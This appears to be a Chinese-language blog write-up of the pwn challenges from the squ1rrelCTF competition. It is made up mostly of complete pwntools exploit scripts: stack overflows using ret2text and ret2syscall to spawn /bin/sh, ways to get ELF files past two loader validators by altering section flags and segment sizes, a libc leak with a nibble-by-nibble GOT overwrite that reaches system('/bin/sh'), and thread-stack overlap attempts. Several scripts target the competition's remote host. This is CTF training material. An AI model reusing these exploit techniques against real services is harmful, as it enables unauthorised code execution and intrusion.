文章

squ1rrelCTF Pwn WriteUp - g1P03n

ak

pwn-deja vu

image

image

栈溢出,ret2text

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/python3

from pwn import*  
elf=ELF('./vu')
p=process('./vu') 
#p=remote('20.84.72.194',5002)
context(os='linux',arch='amd64',log_level='debug')
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
def s(a):
    p.send(a)
def sa(a, b):
    p.sendafter(a, b)
def sl(a):
    p.sendline(a)
def sla(a, b):
    p.sendlineafter(a, b)   
def li(a):
    print(hex(a))     
def r():
    p.recv()
def pr():
    print(p.recv())
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def get_32():
    return u32(p.recvuntil(b'\xf7')[-4:])    
def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))    
def bug():
	gdb.attach(p)
	
pay=b'a'*0x48+p64(0x4011F6)
sl(pay)

inter()

pwn-jail!

image 栈溢出,静态编译的文件,直接ret2syscall

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/python3

from pwn import*  
elf=ELF('./prison')
p=process('./prison') 
#p=remote('20.84.72.194',5002)
context(os='linux',arch='amd64',log_level='debug')
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
def s(a):
    p.send(a)
def sa(a, b):
    p.sendafter(a, b)
def sl(a):
    p.sendline(a)
def sla(a, b):
    p.sendlineafter(a, b)   
def li(a):
    print(hex(a))     
def r():
    p.recv()
def pr():
    print(p.recv())
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def get_32():
    return u32(p.recvuntil(b'\xf7')[-4:])    
def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))    
def bug():
	gdb.attach(p)
	

rl(b'They gave you the premium stay so at least you get to choose your cell (1-6): ')
rdi=0x401A0D
rdx=0x401A1A
rax=0x000000000041f464
syscall=0x00000000004013b8
rsp=0x00000000004450f8
bss=0x4CE300
rsi=0x0000000000413676
sl(b'1')
rl(b'name: ')
sl(b'a'*0x40+p64(0x4cb3c3+8)+p64(rdx)+p64(0x200)+p64(0x42DAA0))
pay=b'/bin/sh\x00'*0x6+p64(rax)+p64(0x3b)+p64(rdi)+p64(0x4cb3c3+8)+p64(rsi)+p64(0)*2+p64(rdx)+p64(0)+p64(syscall)
s(pay)


inter()

pwn-Extremely Lame Filters 1

  • 代码只是判断 section里的flags信息,决定flags有执行权限的信息是在 elf 头

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python3

from elf import *
from base64 import b64decode

#data = b64decode(input("I'm a little fairy and I will trust any ELF that comes by!!"))



data = open('./xxx_shell','rb').read()
elf = parse(data)

#print(elf.sections)

for section in elf.sections:
    print(section.sh_flags & SectionFlags.EXECINSTR)
    print(section)
    if section.sh_flags & SectionFlags.EXECINSTR:
       raise ValidationException("!!")

#elf.run()

section 段在 正常的 elf 文件最后面 这里原本 是 0x06 把他改了 只要没有执行就行

image

pwn-Extremely Lame Filters 2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python3

from elf import *
from base64 import b64decode

data = b64decode(input("I'm a little fairy and I will trust any ELF that comes by!! (almost any)"))
elf = parse(data)

if elf.header.e_type != constants.ET_EXEC:
    print("!!")
    exit(1)

for segment in elf.segments:
    if segment.p_flags & SegmentFlags.X:
        content = elf.content(segment) # elf.content
        for byte in content:
            if byte != 0:
                print(">:(")
                exit(1)

elf.run()

控制 p_filesz 就可以 减少 content 获取字节的数量

c783b0270c1d02c694ecb60bbb9daa45

在这里修改,可执行段的大小,最小改成1

e6bd3b449d7ea60ad92b1101e874912f

第一个字节是00就行了

9bd730a8a8f1c411d2db70f713a3038d

修改之后,仍然可以有全部数据

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/python3

from elf import *
from base64 import b64decode

#data = b64decode(input("I'm a little fairy and I will trust any ELF that comes by!! (almost any)"))

#data = open('./shell_elf','rb').read()
data = open('./fix_pwn','rb').read()
elf = parse(data)

print(elf.header.e_type)
print(constants.ET_EXEC)
print('ok.')

# SegmentFlags.R: 该段是可读的(Readable)。
# SegmentFlags.W: 该段是可写的(Writable)。
# SegmentFlags.X: 该段是可执行的(Executable)。

print('SegmentFlags.X',SegmentFlags.X)
for segment in elf.segments:
    #print(segment.p_flags & SegmentFlags.X)
    if segment.p_flags & SegmentFlags.X:
        #content = elf.content(segment)
        content = elf.content(segment)
        print(list(content))
        print(segment.p_offset , segment.p_filesz)

squ1rrel-casino (附件更新)

简单了,直接秒

77711435371ffdd18d494cf48d66d6b4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
from pwn import *
from ctypes import CDLL
cdl = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
s    = lambda   x : io.send(x)
sa   = lambda x,y : io.sendafter(x,y)
sl   = lambda   x : io.sendline(x)
sla  = lambda x,y : io.sendlineafter(x,y)
r    = lambda x   : io.recv(x)
ru   = lambda x   : io.recvuntil(x)
rl   = lambda     : io.recvline()
itr  = lambda     : io.interactive()
uu32 = lambda x   : u32(x.ljust(4,b'\x00'))
uu64 = lambda x   : u64(x.ljust(8,b'\x00'))
ls   = lambda x   : log.success(x)
lss  = lambda x   : ls('\033[1;31;40m%s -> 0x%x \033[0m' % (x, eval(x)))

attack = '20.84.72.194 5004'.replace(' ',':')
binary = './casino'

def start(argv=[], *a, **kw):
    if args.GDB:return gdb.debug(binary,gdbscript)
    if args.TAG:return remote(*args.TAG.split(':'))
    if args.REM:return remote(*attack.split(':'))
    return process([binary] + argv, *a, **kw)


#context(log_level = 'debug')
context(binary = binary, log_level = 'debug',
terminal='tmux splitw -h -l 170'.split(' '))
libc = context.binary.libc
#elf  = ELF(binary)
#print(context.binary.libs)
#libc = ELF('./libc.so.6')
#import socks
#context.proxy = (socks.SOCKS5, '192.168.31.251', 10808)
gdbscript = '''
brva 0x1104
brva 0x1040
#brva 0x0179A
#brva 0x01667
#brva 0x179A
#brva 0x01DC7
continue
'''.format(**locals())
#import os
#os.systimport os
#io = remote(*attack.split(':'))



def show():
    ru('option: ')
    sl('2')

name_list = [
        p64(0x29312820656341)
        ,p64(0x293228206F7754)
        ,b"Three (3)"
        ,b"Four (4)"
        ,b"Five (5)"
        ,p64(0x29362820786953)
        ,b"Seven (7)"
        ,b"Eight (8)"
        ,b"Nine (9)"
        ,b"Ten (10)"
        ,b"Jack (10)"
        ,b"Queen (10)"
        ,b"King (10)"
        ,b"Joker (10)"
        ,b"Special (10)"
        ,p64(0x6E776F6E6B6E55)
        ]

def get_card_name(idx):
    return name_list[idx]

def draw_card():
    return (cdl.rand() % 15 + 1)

def play():
    draw_card()
    draw_card()
    draw_card()
    draw_card()
    ru('option: ')
    sl('1')


def view():
    ru('Choose an option: ')
    sl('1')

def edit(idx):
    ru('Choose an option: ')
    sl('2')
    ru(' replace? ')
    sl(str(idx))

def view_card(idx):
    ru('Choose an option: ')
    sl('1')
    ru(' view? ')
    sl(str(idx))
    ru('Card #')
    ru('(')
    ru('(')
    try:
        d = int(ru(')')[:-1],16)
    except:
        d = 0
    return d

def stand():
    ru('Choose an option: ')
    sl('3')

def bk():
    ru('Choose an option: ')
    sl('4')




def edit_4bit(idx,n):
    while(1):
        play()
        c = draw_card()
        if c == (n>>4):
            edit(idx+1-(n&0xF))
            ls("find !!!!")
            return
        else:
            edit(1)
            bk()


io = start([])
cdl.srand(int(time.time()))

name = 'A' * 0x3f
ru("Enter your name: ")
s(name)

play()
libc_base = 0
elf_base = 0
for l in range(0,6):
    for h in range(2):
        tmp = view_card( -((0xe8-8-l)<<1) + (1-h) )
        tmp = (tmp << (4*h)) << (l*8)
        libc_base += tmp

#for l in range(0,8):
#    for h in range(2):
#        tmp = view_card( -((0xe8-0x60-l)<<1)+(1-h) )
#        tmp = (tmp << (4*h)) << (l*8)
#        elf_base += tmp
#
#elf_base -= 16480
bk()

libc_base   -= libc.sym['puts']
libc.address = libc_base

target = libc.sym['gets']

lss('libc_base')
lss('target')

idx = -((0xe8-0x10)*2)
edit_4bit(idx,0x41)
bk()
for l in range(0,6):
    for h in range(2):
        tmp = (target>>(l*8))
        tmp = (tmp >> (4*h)) & 0xF
        if tmp:
            tmp = (tmp << 4) + (h)
            idx = -((0xe8-l)*2)
            print(hex(tmp))
            print(hex(idx))
            edit_4bit(idx,tmp)
            bk()
        else:
            pass


#gdb.attach(io,gdbscript=gdbscript)
sl('3')
libc.address = libc_base
rdi = next(libc.search(asm('pop rdi;ret')))
system = libc.sym['system']
bin_sh = next(libc.search(b'/bin/sh'))
pause()
pay  = 0x38 * b'A'
pay += p64(rdi+1)
pay += p64(rdi) + p64(bin_sh) + p64(system)
sl(pay)
io.interactive()

image

squ1rrel-logon(附件更新)

两个线程栈 之间 隔着 0x1000, 原本的附件会有检测,附件更新后就没了

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *
#from ctypes import CDLL
#cdl = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
s    = lambda   x : io.send(x)
sa   = lambda x,y : io.sendafter(x,y)
sl   = lambda   x : io.sendline(x)
sla  = lambda x,y : io.sendlineafter(x,y)
r    = lambda x   : io.recv(x)
ru   = lambda x   : io.recvuntil(x)
rl   = lambda     : io.recvline()
itr  = lambda     : io.interactive()
uu32 = lambda x   : u32(x.ljust(4,b'\x00'))
uu64 = lambda x   : u64(x.ljust(8,b'\x00'))
ls   = lambda x   : log.success(x)
lss  = lambda x   : ls('\033[1;31;40m%s -> 0x%x \033[0m' % (x, eval(x)))

attack = '20.84.72.194 5005'.replace(' ',':')
binary = './terminal'

def start(argv=[], *a, **kw):
    if args.GDB:return gdb.debug(binary,gdbscript)
    if args.TAG:return remote(*args.TAG.split(':'))
    if args.REM:return remote(*attack.split(':'))
    return process([binary] + argv, *a, **kw)


#context(log_level = 'debug')
context(binary = binary, log_level = 'debug',
terminal='tmux splitw -h -l 170'.split(' '))
#libc = context.binary.libc
#elf  = ELF(binary)
#print(context.binary.libs)
#libc = ELF('./libc.so.6')
#import socks
#context.proxy = (socks.SOCKS5, '192.168.31.251', 10808)
gdbscript = '''
b * 0x401481
b *0x04015E2
#continue
'''.format(**locals())
#import os
#os.systimport os
#io = remote(*attack.split(':'))
io = start([])

#gdb.attach(io,gdbscript=gdbscript)
s1 = 0x8010e0-0x17

s2 = 0x1000
ru('Length: ')
sl(str(s1))
ru('Length: ')
sl(str(s2))

p1 = b'A' * 0x8 # flag
#p1 += p64(0x0401613)

p2 = b'H\x00'

#
#itr()
ru('>>')
sl(p1+b'\n')

ru('>>')
sl(p2+b'\n')

ru('>>')
sl(p1+b'\n')


itr()

pwn-squ1rrel-casino (原版)

已经可以劫持执行流了,打远程发现附件换了? 傻逼比赛

可以泄露libc 和 elf 的地址

修改got 表 任意半个字节

  • 本地触发 (劫持got 表),(然后准备打远程测试,发现附件更新了)

然后 改个got 表就行了

00b8ae032b62eb9c6ce63f2d2e462588

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
from pwn import *
from ctypes import CDLL
cdl = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
s    = lambda   x : io.send(x)
sa   = lambda x,y : io.sendafter(x,y)
sl   = lambda   x : io.sendline(x)
sla  = lambda x,y : io.sendlineafter(x,y)
r    = lambda x   : io.recv(x)
ru   = lambda x   : io.recvuntil(x)
rl   = lambda     : io.recvline()
itr  = lambda     : io.interactive()
uu32 = lambda x   : u32(x.ljust(4,b'\x00'))
uu64 = lambda x   : u64(x.ljust(8,b'\x00'))
ls   = lambda x   : log.success(x)
lss  = lambda x   : ls('\033[1;31;40m%s -> 0x%x \033[0m' % (x, eval(x)))

attack = '20.84.72.194 5004'.replace(' ',':')
binary = './casino'

def start(argv=[], *a, **kw):
    if args.GDB:return gdb.debug(binary,gdbscript)
    if args.TAG:return remote(*args.TAG.split(':'))
    if args.REM:return remote(*attack.split(':'))
    return process([binary] + argv, *a, **kw)


#context(log_level = 'debug')
context(binary = binary, log_level = 'debug',
terminal='tmux splitw -h -l 170'.split(' '))
libc = context.binary.libc
#elf  = ELF(binary)
#print(context.binary.libs)
#libc = ELF('./libc.so.6')
#import socks
#context.proxy = (socks.SOCKS5, '192.168.31.251', 10808)
gdbscript = '''
brva 0x1104
brva 0x1040
#brva 0x0179A
#brva 0x01667
#brva 0x179A
#brva 0x01DC7
continue
'''.format(**locals())
#import os
#os.systimport os
#io = remote(*attack.split(':'))



def show():
    ru('option: ')
    sl('2')

name_list = [
        p64(0x29312820656341)
        ,p64(0x293228206F7754)
        ,b"Three (3)"
        ,b"Four (4)"
        ,b"Five (5)"
        ,p64(0x29362820786953)
        ,b"Seven (7)"
        ,b"Eight (8)"
        ,b"Nine (9)"
        ,b"Ten (10)"
        ,b"Jack (10)"
        ,b"Queen (10)"
        ,b"King (10)"
        ,b"Joker (10)"
        ,b"Special (10)"
        ,p64(0x6E776F6E6B6E55)
        ]

def get_card_name(idx):
    return name_list[idx]

def draw_card():
    return (cdl.rand() % 15 + 1)

def play():
    draw_card()
    draw_card()
    draw_card()
    draw_card()
    ru('option: ')
    sl('1')


def view():
    ru('Choose an option: ')
    sl('1')

def edit(idx):
    ru('Choose an option: ')
    sl('2')
    ru(' replace? ')
    sl(str(idx))

def view_card(idx):
    ru('Choose an option: ')
    sl('1')
    ru(' view? ')
    sl(str(idx))
    ru('Card #')
    ru('(')
    ru('(')
    try:
        d = int(ru(')')[:-1],16)
    except:
        d = 0
    return d

def stand():
    ru('Choose an option: ')
    sl('3')

def bk():
    ru('Choose an option: ')
    sl('4')




def edit_4bit(idx,n):
    while(1):
        play()
        c = draw_card()
        if c == (n>>4):
            edit(idx+1-(n&0xF))
            ls("find !!!!")
            return
        else:
            edit(1)
            bk()


io = start([])
cdl.srand(int(time.time()))

name = 'A' * 0x3f
ru("Enter your name: ")
s(name)

play()
libc_base = 0
elf_base = 0
for l in range(0,6):
    for h in range(2):
        tmp = view_card( -((0xe8-l)<<1) + (1-h) )
        tmp = (tmp << (4*h)) << (l*8)
        libc_base += tmp
#for l in range(0,8):
#    for h in range(2):
#        tmp = view_card( -((0xe8-0x60-l)<<1)+(1-h) )
#        tmp = (tmp << (4*h)) << (l*8)
#        elf_base += tmp
#
#elf_base -= 16480

libc_base   -= libc.sym['puts']
libc.address = libc_base


lss('libc_base')
pause()
#lss('elf_base')
bk()


try:
    #x = -((0xe8)*2)
    #edit_4bit(x, 0x40) # next
    #bk()
    #x = -((0xe8)*2)
    #gdb.attach(io,gdbscript=gdbscript)
    #edit_4bit(x, (i<<4)+0x01)
    ##edit_4bit(x, (5<<4)+0x00)
    ##edit_4bit(x, 0x40)
    ##gdb.attach(io)
    #print(i)
    #print(i)
    #print(i)
    #print(i)
    ##sl('a')
    ##sl('1')
    #io.interactive()
    #exit(0)
    x = -((0xe8)*2)
    edit_4bit(x, 0x40) # next
    bk()
    edit_4bit(x, (12<<4)+0x01)
    bk()
    x = -((0xe8-1)*2)

    x = -((0xe8-1)*2)
    edit_4bit(x, (3<<4)+0x00)
    bk()

    x = -((0xe8)*2)
    edit_4bit(x, (8<<4)+0x01)
    #edit_4bit(x, (5<<4)+0x00)
    #edit_4bit(x, 0x40)
    #gdb.attach(io)
    #print(i)
    #print(i)
    #print(i)
    #print(i)
    #sl('a')
    #sl('1')
    gdb.attach(io,gdbscript=gdbscript)
    lss('libc_base')
    io.interactive()
    #exit(0)
except:
    io.close()
    pass

    #bk()
    #x = -((0xe8-0x38-1)*2)
    #itr()



#edit_4bit(x, 0xd0)
#x = -((0xe8-0x38-2)*2)
#edit_4bit(x, 0xa0)
#bk()
#sl('1')


# b'*** stack smashing detected ***: terminated\n'
# x = -((0xe8-0x38)*2)
# edit_4bit(x, 0x40)
# bk()
# x = -((0xe8-0x39)*2)
# edit_4bit(x, 0xa0)
# bk()
# sl('1')


#gdb.attach(io,gdbscript='b getchar')
#ru('Choose an option: ')
#sl('2')
#ru(' replace? ')
#sl(str(x))




#pay = flat({
#},filler=b'\x00')

# libc.address = libc_base
# system = libc.sym['system']
# bin_sh = next(libc.search(b'/bin/sh'))

squ1rrel-logon (原版)(感觉无解)

userinfo 线程栈 和 auth线程栈 中间隔着 0x1000

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *
#from ctypes import CDLL
#cdl = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
s    = lambda   x : io.send(x)
sa   = lambda x,y : io.sendafter(x,y)
sl   = lambda   x : io.sendline(x)
sla  = lambda x,y : io.sendlineafter(x,y)
r    = lambda x   : io.recv(x)
ru   = lambda x   : io.recvuntil(x)
rl   = lambda     : io.recvline()
itr  = lambda     : io.interactive()
uu32 = lambda x   : u32(x.ljust(4,b'\x00'))
uu64 = lambda x   : u64(x.ljust(8,b'\x00'))
ls   = lambda x   : log.success(x)
lss  = lambda x   : ls('\033[1;31;40m%s -> 0x%x \033[0m' % (x, eval(x)))

attack = ''.replace(' ',':')
binary = './terminal'
binary = './fix_pwn'

def start(argv=[], *a, **kw):
    if args.GDB:return gdb.debug(binary,gdbscript)
    if args.TAG:return remote(*args.TAG.split(':'))
    if args.REM:return remote(*attack.split(':'))
    return process([binary] + argv, *a, **kw)


#context(log_level = 'debug')
context(binary = binary, log_level = 'debug',
terminal='tmux splitw -h -l 170'.split(' '))
#libc = context.binary.libc
#elf  = ELF(binary)
#print(context.binary.libs)
#libc = ELF('./libc.so.6')
#import socks
#context.proxy = (socks.SOCKS5, '192.168.31.251', 10808)
gdbscript = '''
brva 0x001781
brva 0x18C6
brva 0x0172B
brva 0x16A8
brva 0x001675
#continue
'''.format(**locals())
#import os
#os.systimport os
#io = remote(*attack.split(':'))
io = start([])

fn = 'AAAB'
sn = 'BBBB'
#sl(str(0x7fe2F0+0xb78))
#sl(str(0x7FEE80-8+5-0x17))
#sl(str(0x800e78-0x17))
#sl(str(0x17))

gdb.attach(io,gdbscript)

ru('Length: ')
sl(str(0x7FEE70+1-0x17))
ru('Length: ')
sl(str((0x1F001-0x17))) # test

#ru('Surname: ')
#ru('>> ')
#sl('AAAA')

#pay = flat({
#},filler=b'\x00')

# libc.address = libc_base
# system = libc.sym['system']
# bin_sh = next(libc.search(b'/bin/sh'))
itr()

本文由作者按照 CC BY 4.0 进行授权

© imLZH1. 保留部分权利。

本站总访问量

本站采用 Jekyll 主题 Chirpy

热门标签